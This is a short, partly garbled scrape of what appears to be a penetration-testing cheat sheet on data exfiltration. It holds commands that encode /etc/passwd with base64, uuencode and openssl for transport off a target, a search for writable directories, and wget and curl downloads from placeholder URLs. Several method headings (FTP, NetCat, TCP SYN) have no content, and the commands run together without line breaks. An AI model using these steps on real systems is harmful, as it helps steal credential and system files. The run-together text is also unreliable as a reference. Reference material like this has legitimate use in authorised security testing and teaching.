Data Exfiltration
Preparing files for transport
base64 -w0 $filebase64 -d $file$ uuencode /etc/passwd passwd-COPY
begin 644 passwd-COPY
356)U;G1U(#$X+C`T+C(@3%13"@``
`
end$ uudecode
begin 644 passwd-COPY
356)U;G1U(#$X+C`T+C(@3%13"@``
`
end$ openssl base64 < /etc/passwd$ openssl base64 -d > passwd-COPYHTTP/HTTPS
# find / -type d \( -perm -g+w -or -perm -o+w \) -exec ls -adl {} \;# wget http://<url> -O url.txt -o /dev/null# curl -o file.txt http://url.comScripted HTTP Servers
FTP
TFTP
SCP
NetCat from target
Python HTTP server script
Other Programs
Data exfiltration using TCP SYN
Resources
Last updated